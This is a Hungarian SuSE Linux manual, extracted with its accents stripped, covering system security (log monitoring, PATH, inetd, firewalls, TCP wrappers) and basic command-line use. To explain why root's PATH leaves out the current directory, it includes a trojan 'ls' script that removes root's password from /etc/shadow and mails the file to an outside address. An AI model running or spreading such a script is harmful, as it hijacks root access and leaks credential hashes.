dokumentlva a knyv nyomdba adsig. Nzzk t a csomag dokumentcijt. Tovbbi eszkzk mr el kszts alatt vannak. o Naplfjlok bngszse A Naplfjlok nagyon fontos forrsai a rendszerr l trtn informcigy jo o u tsnek. Ezek azok a fjlok, melyekben a programok bejegyzseket tesznek m kdskr l. Legalbb egyet ezek kzl, a /var/log/messages-t, u o rendszeresen ellen rizni kell. A legtbb naplzs a SuSE Linux-ban gy van o kongurlva, hogy rjon ebbe a fjlba. Rendszerint nincs id nk tbngszni ezt a hatalmas fjlt. Szerencsre vano nak eszkzk, amik megknnytik a naplfjlok olvasst. Az egyik ilyen program a logsurfer, ami llandan ellen rzi a naplkat a kongurcis fjo loknak megfelel en. Hozzadhatunk parancsokat bizonyos el fordulsokhoz o o a napl fjlokban. Pldul ha a "fail" sz el fordul, s azt akarjuk hogy egy o email-ben tudasson minket a rendszer err l, a logsurfer ezt megteszi neknk. o A logsurfer kivl kziknyvoldallal rendelkezik, lsd man 4 logsurfer.conf. A PATH vltoz s a Root felhasznl ... Taln szrevettk mikzben a SuSE Linux-szal dolgoztunk, hogy az aktulis knyvtr nem szerepel a root keressi tvonalban. Ezrt, amikor root-knt vagyunk benn, s az aktulis knyvtrbl akarunk indtani programot, elje kell tennnk a ./ karaktereket. Az okot, ami miatt a SuSE Linux gy van kongurlva, a kvetkez plda illusztrlja: o Ttelezzk fel, hogy egy felhasznl aki a rendszernkben dolgozik, ltrehoz egy szkriptet, a 18.2.1 fjllista szerint. A szkriptet a felhasznl thelyezte a /tmp/ls llomnyba. 485

18. A biztonsg bizalom krdse

#!/bin/sh cat /etc/shadow | sed s;\(^root:\)[^:]*\(:.*\);\1\2; > \ /etc/shadow mailx hacker@hackit.org -s "Root Account hacked" < \ /etc/shadow ls $*

18.2.1 fjllista: Shell szkript a root account hackelsre Most, ha a root belp a /tmp knyvtrba mikzben az aktulis knyvtr szerepel a PATH krnyezeti vltozban, a root nem a /bin/ls-t fogja elindtani, hanem a mi kis szkriptnket a /tmp/lsben. A szkript vgrehajtsnak eredmnye a root jelsz eltvoltsa. Ennl mr csak az a rosszabb, hogy a szkript elkld egy email-t a szerz o cmre, hogy a jelsz el van tvoltva. Ekkor szabadon bejelentkezhet (brki) root-knt. A kvetkezmny nagyon elszomort lehet ;-) . Ha az aktulis knyvtr nem lett volna benne a keressi tvonalban, ez csak akkor fordulhatott volna el , ha kimondottan ezt gpeljk be: ./ls. Ez o egybknt plda a Trjai programokra, mint azt a 90 . fejezetben (480. oldal) lertuk. 18.2.2 Hlzati eszkzk

Nagyon tanulsgos meggyelni egy host gpet, ami egy hlzathoz csatlakozik. Szeretnnk rmutatni, hogy miknt tudjuk megvdeni Linux gpnket a hlzatrl jv tmadsoktl. o Az inetd Egy alapvet megkzeltse ennek, hogy a portok bekapcsolst, amelyeket o az inetd (Internet "Super Server" ) tesz elrhet v, alaposan t kell gondolni. o A SuSE Linux-ban nhny "sebezhet " szolgltats ki van kapcsolva alapo rtelmezs szerint. Ebbe beletartozik az n. "internal services" az inetd . Az inetd kongurcis fjlja a /etc/inetd.conf. Ms szolgltatsokat ugyanilyen gondosan kell ki, illetve bekapcsolni az ignyeknek megfelel en. Javasoljuk, hogy nzzk t a kongurcis fjlokat, ugyanis pl. a POP3 o s ms szolgltatsok is be vannak alapbl kapcsolva! A majdnem minden esetben elegend szolgltatsok felsorolsa a 18.2.2 fjllistban tallhat. o Hatrozottan gondoljuk t, hogy szksgnk van-e olyan programokra mint, pl. telnet, shell s login. E szolgltatsok legnagyobb htrnya az, hogy a jelsz titkosts nlkl kerl tovbbtsra. Az ilyen jelszavakat megszerezni nem bonyolult. Ezek a szolgltatsok a tmadsokat kztudottan knny v u teszik. Soha, semmilyen krlmnyek kztt se engedjnk tvoli root elrst! Mgegyszer rirnytjuk gyelmet a "Secure Shell" (ssh) csomagra. Ez mindent titkost, mg a jelszavakat is (titkosts). 486

18.2. Eszkzk

ftp

stream tcp nowait wu.ftpd -a telnet stream tcp nowait in.telnetd shell stream tcp nowait in.rshd -L login stream tcp nowait in.rlogind finger stream tcp nowait in.fingerd -w ident stream tcp wait in.identd -w-e-t120

root root root root

/usr/sbin/tcpd /usr/sbin/tcpd /usr/sbin/tcpd /usr/sbin/tcpd

\ \ \ \ \

nobody /usr/sbin/tcpd

nobody /usr/sbin/in.identd \

18.2.2 fjllista: inetd plda kongurci.

A SuSE Packet Filter Firewall-lal kapcsolatos krdsek nem vlaszolhatk meg a Teleptsi Tmogats keretben! A SuSE Packet Filter Firewall (a firewall csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletben) a /etc/rc.firewall segtsgvel aktivizldik. Egyedi belltsok dokumentlsa s megjegyzsekkel val elltsa ebben a fjlban tallhat. Annak rdekben, hogy megkmljk a kezd felhasznlt, a T zfal bellts bonyolultsgtl, itt van nhny o u magyarzat s tlet a SuSE Packet Filter Firewall hasznlathoz. A protokollok npes csaldjt hasznljk az Interneten val kommunikcihoz. Ez az Internet protokoll "TCP/IP" nven ismert. A TCP/IP jelentse Tovbbtst Ellen rz Protokoll (Transmission Control Protocol) s Internet o o Protokoll. A TCP/IP manapsg majdnem minden hardveren, opercis rendszeren s hlzati felleten elrhet . Az Egyeslt llamok Hadgyminiszto riuma fejlesztette ki, s 1978-ban mutattk be el szr a nyilvnossgnak. o A TCP/IP hlzat adatokat tovbbt szmtgp rendszerek kztt, gy hogy talaktja az adatokat csomagokk, s ezeket a csomagokat tovbbtja. Minden csomag egy fejlccel kezd dik, ami klnbz ellen rz informcikat o o o o tartalmaz, mint pl. a cl szmtgp cme. A fejlcet kveti a tovbbtand adat. Ha pl. egy fjl egy msik gphez a hlzaton keresztl lesz tovbbtva, akkor a fjlt csomagok sorozatv alaktja t. Ezek a csomagok kerlnek tovbbtsra a cl gp fel. A csomagok hibamentes tovbbtst a TCP garantlja. Ez biztostja, hogy a csomagok a megfelel sorrendben rkezzenek meg. A TCP adja a szlltsi o felletet, s kzli a hibkat, amik nem javthatk ki a kvetkez -magasabb o IP rtegig. Egy tovbbi szlltsi protokoll a csaldbl az UDP. Az UDP-vel nincs garantlva a hibamentes tovbbts, ezltal gyorsabb a tovbbts, mint a TCP-vel. Ez azonban azt jelenti, hogy az UDP hasznlatakor neknk ms ton (pl. az alkalmazson keresztl) kell ellen rizni az adatok psgt, hogy o a tovbbtsi hibk kiderljenek s javtsra kerljenek. Az IP cm (IPv4) egy 32 bites rtk. Az IP cmeket 8 bites rszekre bontjk a knnyebb olvashatsg vgett, s egy pont vlasztja el ezeket (pl. 192.168.0.20). Azrt, hogy egy szmtgp azonos id ben tbb kapo 487

18. A biztonsg bizalom krdse csolatot tudjon fenntartani, s kpes legyen ezeket elklnteni egymstl, a kommunikci n. portokon keresztl trtnik (0 - 65535). Klnbz o kapcsolatok vannak kijellve a portokhoz, a TCP vagy UDP csomag fejlcben van megadva a kld gp forrsa s cl portja, valamint a clgp adao tai. 0-65535-ig tbb port specilis szolgltatsokra van fenntartva (lsd a /etc/services fjlt). A TCP 23-as port pldul a telnet kapcsolat portja. A 0-1023 portokat tovbbi jellemz k illetik (TCP s UDP). Ezek az n. kivltsgos portok. Csak mego bzhat programok, melyeknek nha rendszergazdai jogok kellenek, ajnlhatjk fel szolgltatsaikat ezeken a portokon (lsd a /etc/services fjlt). Az 1024-t l 65535-ig terjed portokat nem-kivltsgos portoknak hvjuk. A o o klnbsget brzolhatjuk egy kiss egyszer stett fjl-tovbbtson kereszu tl, ftp-vel. Az FTP kiszolgl szolgltatsait a TCP 21-es porton adja. Ha egy FTP kliens a 192.168.3.5 cm gpen (kliens), az albbi parancsot u indtja:
jancsi@meggyfa:/home/jancsi > ftp 192.168.3.16

ekkor a kliens ltrehoz egy kapcsolatot a 192.168.3.16 cm gp (szeru ver) 21-es portjn. Az FTP szerver a 21-es porton vlaszol, s megkezdi a felhasznl azonostst (bejelentkezsi nv s jelsz bekrse). A felhasznl ltal kiadott FTP parancsok szintn ezen a kapcsolaton t tovbbtdnak. Ha adattovbbts trtnik a kiszolgltl a kliensig (kiadtuk pl. az ls vagy a get parancsot), a kiszolgl ltrehoz egy nem-kivltsgos kapcsolatot a kilens egy szintn nem kivltsgos portjn. Az adatok valjban ezen a porton tovbbtdnak. A TCP/IP-t nagyon nagy hlzatra terveztk, ezrt tartalmaz egy hlzat felptsi mechanizmust. Az egsz 32 bites cm feloszthat "subnet"-ekre (alhlzatok). A szubnet a balrl kezd d bitek szmbl kpz dik, ami egy szubo o o net hlzati cmeknt kerl meghatrozsra. Egy szubnet a 192.168.3.0 cm, az els 24 bit adja meg a hlzati cmet. A "subnetmask" (alhlzati o maszk) hatrozza meg, hogy a cmb l hny bit alakt ki egy hlzati cmet. A o 255.255.255.0 szubnetmaszk pldul megadja, hogy a 192.168.3.5 cm gp megtallhat a 192.168.3.0 cm szubnetben. u u Az alhlzatok egy nagy hlzaton bell, rendszerint egy tvlasztra csatlakoznak. Az tvlasztk vagy specilis gpek, vagy szmtgpek, amik megfelel en fel vannak szerelve, s biztostjk hogy a csomagok megtalljk o a megfelel tvonalat a vgcljukhoz. A szubnet maszkok ellenttes szerept o az n. broadcast cmek tltik be. Egy broadcast cmen t a szubnet sszes gpe elrhet . Pldul : a 192.168.3.0 alhlzatban minden gp elrhet o o a 192.168.3.255 broadcast cmen keresztl. Ha egy Internet kapcsolat felplt, akkor a gp rszv vlik a vilgmret Internet-nek. Minden alkau lommal, amikor a szolgltatnk fel a kapcsolat aktv, a gpnk elrhet az o Internetr l. Neknk kell lpseket tenni, hogy megakadlyozzuk az Internet o fel li illetktelen elrst. Ezt a feladatot ltja el a SuSE Packet Filter Firewall o (Csomagsz r T zfal) csomagja. uo u 488

18.2. Eszkzk A csomagsz r k a hlzati szint T zfalak. Ezek alapvet dntseket hozuo u u o nak a forrs cmek, cl cmek s az IP csomagok sajtos portjai alapjn. Egy egyszer tvlaszt, vagy a SuSE Packet Filter Firewall hagyomnyou san hlzati szint T zfal. Mivel ezek nem elg intelligensek, hogy megu u llaptsk egy csomag tartalmt, s annak valdi eredett, ezrt nem nyjthatnak megfelel vdelmet tmadsok ellen. A modern hlzati szint o u T zfalak (pldul a SINUS Firewall I Linuxhoz, u http://www.sinusfirewall.org) sokkal jobban vannak kifejlesztve, informcikat gy jtenek a rajtuk keresztlmen kapcsolatok lu o lapotrl, az adatfolyam tartalmrl, stb. Az alkalmazsszint T zfalak (pl. TIS Firewall Toolkit), rendszerint szu u mtgpek, melyeken proxy kiszolgl fut, gyelmesen jegyzik, s megvizsgljk a rajtuk keresztlmen adatforgalmat. Mivel a proxy kiszolgo lk t zfalon fut programok, ezrt ezek idelisak protokollokhoz s hozu zfrsvdelmi mechanizmusokhoz.

Hol kell SuSE csomagszur tuzfalat (Packet Filter Firewall) hasznlni? o Olyan hlzatoknl, ahol emelt szint vdelemre van szksg (szigoran vve u mindentt, ahol szemlyes informcikat trolnak). Az alkalmazsszint t zu u falak m kdskb l kifolylag mg mindig az els hvsi szm portok. Az u o o ilyen hlzatok rszre a SuSE csomagsz r t zfal (Packet Filter Firewall) uo u nem nyjt megfelel vdelmet. o A SuSE csomagsz r t zfalat egy magn PC, egy otthoni mini hlzat, vagy uo u egy megbzhat hlzaton belli munkalloms vdelmre szntk. Csak akkor hasznljuk a SuSE csomagsz r t zfalat egy cg hlzatnak uo u vdelmre, ha pontosan tudjuk mit csinlunk (lsd az Irodalomjegyzket). T zfalak fellltshoz, karbantartshoz, a hlzatok s a bennk hasznu latos protokollok igen mly szint ismerete szksges. Ez az ismeret nem u helyettesthet egy grakus fellettel, vagy egy el re kongurlt belltssal, o o mint amit a SuSE csomagsz r t zfal nyjt. uo u A SuSE csomagsz r t zfal dokumentcija a uo u /usr/doc/packages/firewall s a /etc/rc.firewall alatt tallhat meg. Ha a T zfalak tmakrvel mlyebben kvnunk megismerkedni, javasoljuk u az albbi forrsok tanulmnyozst, s ksrletezznk: A "T zfal kziknyv a Linux 2.0/2.2-hz" (Firewall handbook for Linux 2.0 u and 2.2) Guido Stepken-t l majdnem mindent nyjt, amire szksgnk van, o hogy egy biztonsgos t zfalat ptsnk Linux-szal, a rszletes technikai inu formciktl, a tipikus gyenge pontok s hibk lersig. A T zfal kziknyv u olvasst ignyel, s csak on-line rhet el. o http://www.little-idiot.de/firewall/ A Freere project j kiindulsi pont mindazoknak, akik az ingyenes szoftver alap t zfalak irnt rdekl dnek: u o http://sites.inka.de/sites/lina/freefire-l/ 489

18. A biztonsg bizalom krdse TCP Wrappers A TCP wrappers (tcpd ) lehet v teszi hogy biztonsgosan hasznljunk bizoo nyos szolgltatsokat, vagy IP cmeket a hlzaton. A tcpd a SuSE Linux-ban alapbl aktivlva van. Ezt lthatjuk a 18.2.2 . fejezetben (487. oldal) a fjllista hatodik oszlopban s a /etc/inetd.conf fjlban. Az elkpzels elg egyszer : a tcpd azt a szolgltatst indtja el, amelyre szksgnk van, u el szr ellen rizve, hogy a kliensnek van-e engedlye elrni azokat. o o Ez a hozzfrs ellen rzs kt fjlon keresztl trtnik: o /etc/hosts.allow s /etc/hosts.deny. A hozzfrs engedlyezve, ha a /etc/hosts.allow fjlban a kliens s a szolgltats kombincija megtallhat. A hozzfrs megtagadva, ha a kliens s a szolgltats kombincija a /etc/hosts.deny fjlban megtallhat. Ha nincs szablyozs a fenti fjlok egyikben sem, a hozzfrs engedlyezve. Figyelem! Az els megtallt szably kerl alkalmazsra! Ha pl. a telnet o port engedlyezett a /etc/hosts.allow fjlban, engedlyezve lesz akkor is, ha a /etc/hosts.deny-ban ez tiltva van. Az ezekben a fjlokban trtn mdostsok szintakszist a man 5 o hosts_access kziknyvlapok rjk le. Van egy alternatvja is a TCP wrappers-nek, ez az xinetd , ami kombinlja az inetd s a tcpd kpessgeit. Egy htrnya van az xinetd -nek, az hogy az inetd s az xinetd kongurcis fjljai nem kompatibilisek egymssal. Csak egy Internet "Super Server" (inetd vagy xinetd ) indthat. El kell eldntennk melyiket hasznljuk. A sec (Biztonsggal kapcsolatos szoftverek) kszletben tovbbi programok tallhatk, amik segtsgnkre lehetnek egy biztonsgos rendszer kiptsben. Nzzk t az ott lv csomagokat. o

18.3

Biztonsg a SuSE Linux-ban

A SuSE az albbi szolgltatsokat knlja, hogy megvalstsuk a lehet lego nagyobb biztonsg-orientlt disztribcit: Kt levelez lista brki szmra: o suse-security-announce a SuSE jelzseit tartalmazza a biztonsgi problmkrl. suse-security jelzseket tartalmaz, mikzben nyitott nyilvnos vitkra. Felratkozni brmelyik listra egy E-Mail elkldsvel lehet a majordomo@suse.com cmre, a levltrzsben a: subscribe suse-security vagy a subscribe suse-security-announce tartalommal. 490

18.4. ltalnos szablyok j biztonsgi problmk jelzse a kzponthoz: Ha egy j biztonsgi problmt tallunk (el tte gondosan ellen rizzk le az o o elrhet frisstseket), kldjnk egy email-t a security@suse.de cmre a o problma lersval. A SuSE csapat azonnal fel fog gyelni r! Titkosthatjuk a fjlt a pgp csomaggal. A SuSE nyilvnos kulcst (public pgpkey)4 letlthetjk az albbi cmr l: http://www.suse.de/security (titkosts). o

18.4

ltalnos szablyok

1. Csak adminisztrcis clra hasznljuk a root-ot. A napi munkavgzsre hozzunk ltre egy felhasznlt. 2. Kerljk el a telnet, rlogin s rsh parancsokat. 3. Hasznljuk az ssh-t helyette, ha tvolrl akarunk dolgozni.. 4. Kapcsoljunk ki minden hlzati szolgltatst, amire nincs szksgnk. 5. Gy z djnk meg rla, hogy a legutols verzival rendelkeznk az albbi o o csomagokbl: bind , sendmail s ssh . 6. Tvoltsuk el az sszes fjlrl a SUID s SGID biteket, amik nem lnyegesek a norml felhasznl munkjhoz. 7. Rendszeresen ellen rizzk a naplfjlokat. o

PGP kulcs ujjlenyomat = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5

491

18. A biztonsg bizalom krdse

492

19. fejezet

Els lpsek a Linux-ban o


Fordtotta: Vradi Istvn Mivel a UNIX nagyon sszetett rendszer, csak a legfontosabb szempontjait tudjuk trgyalni itt. E knyvnek nem clja helyettesteni a meglv Linux o (vagy UNIX) irodalmat ez amgyis lehetetlen feladat lenne. Javasoljuk, hogy a korbbi DOS hasznlk vegyk fontolra egy pr j knyv megvsrlst. A fggelkben tallnak pldkat a javasolt szakirodalomra. Ha mr van nhny nem-Linux, Unix irodalmunk, ez taln kielgt , mint o nagy rsze az informciknak, ami a rendszer-hatrokon tl vonatkozik. Nhny knyv, vagy kivonat bel lk, amelyek a GPL rszei, megtallhat o .dvi vagy PostScript fjlknt a doc kszletben, a books csomagban. Ezek X11 alatt az xdvi vagy a gv (Ghostview) programokkal megtekinthet k. Az lpr-rel kinyomtathatk teljesen, vagy akr oldalanknt is. o Amg megszerezzk ezeket a knyveket, ez a fejezet egy rvid ttekintst ad, s segtsget nyjt, mikzben els alkalommal "ksrleteznk" a Linux-szal. o Kezd UNIX-osknt, a sikeres rendszertelepts utn, be kell jelentkeznnk o a megfelel felhasznli nv-vel amit a telepts sorn megado tunk (nem root-knt!). El szr is, mert sok bellts trtnt mr rtnk, o msodsorban, gy csak mi lesznk felel sek sajt home knyvtrunkrt. Az o el z eknek biztonsgi oka is van gy elkerlhetjk a rendszeradatok trlo o st, vagy azok fellrst. Egyel re nincs undelete parancs Linux alatt (mint a DOS-ban). gy, o ha vletlenl rendszerfjlokat trlnk le, nagy valszn sggel jra kell u teleptennk az egsz rendszert. Linux-ban az els lpsek kiss bonyolultak, mivel mi vagyunk a rendszer o adminisztrtorai is, ami sokszor nem knny feladat egy kezd nek. u o

19.1

Bejelentkezs, a "root" felhasznl, felhasznlk hozzadsa

A Linux tbbfelhasznls kpessge azt jelenti, hogy ahnyszor hasznlni akarjuk a rendszert, be kell jelentkeznnk a konzol-on (lsd a 19.4 . feje493

19. Els lpsek a Linux-ban o zetben (497. oldal))1 . Az eljrs lnyeges rsze a modern tbbfelhasznls rendszerek biztonsgnak, gy hvjk bejelentkezs. Ez biztostja, hogy minden egyes felhasznl meghatrozza sajt munkakrnyezett, s gy csak sajt fjljaihoz frjen hozz. Megadjuk a felhasznli nevnket (pl. jancsi) s a jelszavunkat (pl. xxxxxxx). Termszetesen be kell helyettesteni a xxxxxxx jeleket az ltalunk vlasztott jelszval! A xxxxxxx jelek nem jelennek meg a monitoron, gpeljk be a bet ket s nyomjunk 2 : u -t login: jancsi Ha sikeresen "bejelentkeztnk", sajt home knyvtrunkban fogjuk tallni magunkat (pl. a /home/jancsi knyvtrban jancsi felhasznl esetben). Ha el akarjuk hagyni a konzolt, a logout paranccsal lphetnk ki. A root felhasznl a rendszer adminisztrtor, akinek minden meg van engedve. Minden kritikus rendszerinformcis fjlt csak a root vltoztathat meg. Ezrt root-knt bejelentkezni csak akkor kell, ha be akaruk lltani valamit, vagy rendszerspecikus feladatot kell vgrehajtanunk. Soha ne jelentkezznk be, root-knt, ha az nem szksges (a legtbb kezd termo szetesen rendszeresen elfelejti ezt!) Ezzel vdjk rendszernket a vletlen ellltsoktl, amelyek helyrehozsa, bizonyos esetekben az egsz rendszer teljes jrateleptst jelentheti. Nhny dolog, amit csak a root tehet meg: fjlrendszerek becsatolsa (CD-k, hajlkonylemezek, szoftverek teleptsekor). Ez a jog megadhat felhasznlknak, a /etc/fstab fjlban, a user opci megadsval (lsd a 19.11.2 . fejezetben (511. oldal)). felhasznlk hozzadsa s eltvoltsa (lsd a 3.6.7 . fejezetben (112. oldal)). j kernel teleptse (lsd a 13 . fejezetben (375. oldal)). a rendszer kongurlsa a rendszer lezrsa (lsd a 19.2). a YaST elindtsa (lsd a 3 . fejezetben (83. oldal)).

19.2

A rendszer lelltsa s elindtsa

FONTOS! Soha nem szabad kikapcsolnunk a gpet, amg a linux fut, sem a reset gombot megnyomni! Ha a rendszert megfelel lezrsok nlkl kio kapcsoljuk, az adatveszts, vagy a fjlrendszer srlsnek veszlyvel jr. A rendszer megfelel lezrsi parancst a 19.1 tblzat mutatja. o
1 Ha kongurltuk a grakus bejelentkezst (a 3.6.5 . fejezetben (111. oldal)), ez akkor is rvnyes a lert eljrsra.

Abban az esetben, ha mg nem adtunk magunknak jelszt, csak nyomjuk meg a billenty t! u
2

494

19.3. Parancssorban megadhat utastsok

shutdown -h now

shutdown -r now

lelltja a rendszert. Amikor megjelenik a "the system is halted" zenet, kikapcsolhatjuk a gpet. jraindtja a rendszert vrakozs nlkl

19.1 tblzat: parancsok a Linux rendszer lelltsra A shutdown parancsot csak a root adhatja ki. A rendszer lelltshoz jelentkezznk be root-knt, s adjuk ki a kvetkez parancsot: o shutdown -h now vagy shutdown -r now Hasznlhatjuk a Ctrl + Alt + Del billenty kombincit is, amit mr u DOS-bl ismerhetnk. Figyelem! Ez a billenty -kombinci nem m kdik u u X11 alatt! Mindemellett, ezt a mdszert brmely felhasznl hasznlhatja, mindegyik virtulis konzolon.

19.3

Parancssorban megadhat utastsok

Annak ellenre, hogy a Linux vilga egyre sznesebb s knnyebben hasznlhat pl. menvezrls programok mg el fordulhatnak esetek vszu o helyzetben, vagy amikor menvezrls program az adott feladatra nem elru het hogy neknk kell UNIX-parancsokat megadnunk. o Mik a UNIX parancsok? A kvetkez k mind UNIX parancsok: o vgrehajthat programok shell szkriptek szkriptek, amik valamilyen szkript-nyelvet hasznlnak (Perl, Tcl, stb.) shell alias-ok (mint a shell makrk)

Ezekben egy dolog kzs: mind fjlok. Ha elindtunk egy ilyen parancsot Linux-ban, az arra utastja a shell-t, hogy keresse meg azt a fjlt, aminek ez a neve (ehhez szksge van a keressi tvonalra, amit a PATH-ban llthatunk be). Ha megvan, futtassa azt, feltve hogy a megfelel felhasznli engedlye o megvan r (azaz vgrehajthat szmunkra). De mi trtnik, ha a programnak (pl. a cp parancsnak) tovbbi paramterekre vagy fjlnvre van szksge? Egszen egyszer . A paramterek a parancsokat kvet fggetlen vltozk. u o Ezek megadhatnak a parancsnak opcikat, mint fjlneveket, stb. A paramterek s a parancs kztt legalbb egy szkz van3 . A tovbbiakban hasznos lenne a parancs viselkedst ellen rizni (ha pldul o egy hossz fjlnv listt akarunk, egy rvid helyett). Ez az "opcik" segtsgvel valsthat meg. Az opcik mindig kzvetlenl kvetik a parancsot,
3 Ez azt is jelenti, hogy a szkz maga soha nem lehet a parancs rsze, mivel elvlasztsul szolgl paramterek kztt; adhatunk szkzt a parancshoz, ha idz jel kz tesszk azt ("" vagy ). o

495

19. Els lpsek a Linux-ban o mindenfle paramtert megel zve. Termszetesen van egypr ritka kivtel, o ahol a parancsok "csnyn" lettek programozva. ltalban az opcikat megel zi egy kt jel (pl. -la) s kveti egy vagy kt minta (lsd az 19.2 tblo o zatot):

-a -all

rvid vltozat, tipikus UNIX hoszabb vltozat, GNU megfelel o 19.2 tblzat: parancs opcik

Ha tbbszrs opcit akarunk fellltani, megtehetjk ezt "cumulate", vagy hozzrjuk azokat egytt, egy kt jel utn (sok Linux program megrti ezt a o szablyt, de nem mindegyik). Pldul:
-a -f -r -u vagy -afru vagy -frua

Ez a plda azt is mutatja, hogy a sorrend sem szmt. Br mg ez all a szably all is van kivtel. Kicsit bonyoltja az gyet, hogy nhny opci, maga is megrt opcionlis paramtereket. Pldul:
-f <fjlnv> vagy -f<fjlnv>

Nhny (igen) ritka esetben, szkznek kell lenni az opci s annak paramtere kztt. Rendszerint egy szkzt kell hasznlni. Pldk sszegezve, gy kell kinznie a parancsoknak Linux-ban4 :
meggyfa: # fdisk meggyfa: # lsmod meggyfa: # ls

Opcikkal egytt gy nznek ki:


meggyfa: # fdisk -l meggyfa: # ls -l -a meggyfa: # ls -la

Paramterekkel:
meggyfa: # fdisk /dev/hda meggyfa: # ls /tmp

Az opcikat s a paramtereket egytt hasznlva:


meggyfa: # ls -la /tmp meggyfa: # rpm -qpl <csomag>.rpm meggyfa: # gcc -o <opcik> <paramterek>

Lnyeges, hogy szkz vlassza el a klnbz parancsrszeket egymstl, o emiatt a Linux parancsok specilis jele a szkz.
4 Ne felejtsk el: a "meggyfa: jeleket.

# " jelenti a prompt-ot, neknk nem kell megadni ezeket a

496

19.4. Virtulis konzolok

19.4

Virtulis konzolok

A Linux, egy tbbfelhasznls, tbbfeladatos (multitasking) rendszer. Majd rjvnk, hogy rtkeljk ezt a tulajdonsgot, mg egy nll PC-n is. Szveges mdban, hat virtulis konzol ll rendelkezsnkre. tvltani k zttk az Alt + F1 Alt + F6 hasznlatval lehet. A hetedik konzol az X11-nek van fenntartva5 . Ha X11 alatt akarunk konzolt vltani anlkl, hogy kilpnnk az X11-b l, o hasznljuk a Ctrl + Alt + F1 Ctrl + Alt + F6 billenty ket. Az u Alt F7 visszahoz minket az X11-be. +

19.5

Knyvtrak s fjlnevek

Minden informci akr szveg, kp, adatbzis-fjl vagy rendszerkongurcis informci "fjlban" van trolva, amelyek el re meghatroo zott "knyvtrakba" kerlnek (lsd a D . fejezetben (531. oldal)). Klnbz o eszkzkkel s programokkal hozzfrhetnk ezekhez az llomnyokhoz a klnbz knyvtrakban, hogy megnzzk tartalmukat, vagy lecserljk o azokat, ha szksges. Az a jel, ami elvlasztja a knyvtrakat UNIX-ban a / karakter (DOS alatt a \). Tulajdonkppen az tvonal egy sztring, amiben minden knyvtrat a / jel vlaszt el. Az nll / jel kpviseli a legfontosabb knyvtrat, a "root knyvtrat". A UNIX klnbsget tesz kis s nagybet s nevek kztt, pl. az Emil egy mu sik fjlra utal, mint az emil. Elklnteni egy fjlnevet nvre s kiterjesztsre rendszerint nem szksges, de vannak programok, amelyek megkvnnak egy A specilis kiterjesztst (mint a .dvi a LTEX-ben). Hasznos kpessge van a Tab (tabultor) billenty nek, amikor fjlnevet u vagy knyvtrnevet adunk meg. Csak rjuk be az els pr bet jt a kvnt o u fjl nevnek, s nyomjuk meg a A shell ki fogja egszteni a Tab -ot. fjl nevt (egszen addig, amg tisztn megklnbztethet ezekkel a beo t kkel). Ktszer lenyomva a u Tab gombot, megjelenti az sszes elrhet o lehet sget. Ezt a kpessget "globbing"-nak hvjk a Unix-ban. o

19.6

Munka a knyvtrakkal

Bejelentkezs utn (lsd a 19.1 . fejezetben (493. oldal)), sajt home knyvtrunkban lesznk. A jelenlegi knyvtrat leellen rizhetjk ha berjuk a pwd o (print working directory) parancsot:
jancsi@meggyfa:/home/jancsi > pwd /home/jancsi

Egy msik knyvtrra vltshoz, hasznljuk a cd parancsot (ugyangy, mint DOS-ban). rjuk be:
jancsi@meggyfa:/home/jancsi > cd /usr/bin jancsi@meggyfa:/usr/bin >
5

Tovbbi konzolokat is kijellhetnk az /etc/inittab llomnyban.

497

19. Els lpsek a Linux-ban o s a /usr/bin knyvtrra vltunk.


jancsi@meggyfa:/home/jancsi > cd latex jancsi@meggyfa:/home/jancsi/latex >

a latex knyvtrra vltunk, ltez /home/jancsi/latex knyvtr eseo tn. Ha megadjuk, hogy: cd minden argumentum nlkl, visszakerlnk a home knyvtrunkba. Ezt elrhetjk a tilde () begpelsvel is. gy begpelve:
jancsi@meggyfa:/home/jancsi > cd ~/latex

a home knyvtrunkban lv latex knyvtrra vltunk. Mint DOS-ban, a o . jelli a jelenlegi knyvtrat, s a .. a szl knyvtrat. o j knyvtrat az mkdir (make directory) segtsgvel hozhatunk ltre. A parancs:
jancsi@meggyfa:/home/jancsi > mkdir texts

ltrehoz egy j knyvtrat (texts) az aktulis knyvtrban. res knyvtrat az rmdir (remove directory) parancs segtsgvel tvolthatunk el.

19.7

Munka a fjlokkal

Amg a fjlok (taln) egy nap, le nem lesznek cserlve objektumokra s szimblumokra, folytatjk kzponti szerepket, a szmtgppel vgzett munkk sorn. Az el z ek miatt fjlokkal kapcsolatos parancsok szles vlasztka ltezik a o o Linux-ban. 19.7.1 Fjlinformcik

Az ls (list) parancs megjelenti az aktulis knyvtr tartalmt. Az sszes fjl s a knyvtrak is lthatak lesznek. A knyvtrnevek a listban / jellel vannak megjellve. Egy paramter hozzadsval egy msik knyvtr is megjelenthet . o
jancsi@meggyfa: > ls /usr/bin

Kiterjeszts nem szksges ahhoz, hogy fusson egy program (mint a DOS esetben a .exe vagy .com). Ehelyett, a program vgrehajtst, a hrombl egy engedly vezrli, amit minden egyes fjl rszre a fjl tulajdonosa llthat be. A fjlok engedlyezsr l tovbbi informcikat lsd 19.8 . fejezetben o (503. oldal). Hasznos ls opci a -l. gy rszletesebb fjllistt ad, belertve az engedlyezseket, a tulajdonost, a csoportot s a fjlmretet:
jancsi@meggyfa: > ls -l

A 19.7.1 kperny lista rtelmezse a 19.3 tblzatban lthat. o

498

19.7. Munka a fjlokkal

drwxr-xr-x drwxr-xr-x drwxr-xr-x -rwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x -rw-r--r--rw-r--r--

6 4 2 1 2 2 12 1 1

jancsi jancsi jancsi jancsi jancsi jancsi jancsi jancsi jancsi

users 1024 Mar users 1024 Mar users 1024 Nov users 4160 Mar users 1024 Nov users 1024 Nov users 1024 Nov users 185050 Mar users 98444 Mar

21 21 6 21 6 6 6 15 14

12:39 17:13 16:19 12:38 16:23 16:19 18:20 12:33 12:30

./ ../ bin/ check* etc/ sbin/ usr/ xvi.tgz xvnews.tgz

19.7.1 kperny lista: az ls -l parancs kimenete o

Engedlyezsek

Tulajdonos Csoport Mret Utols vltoztats Nv

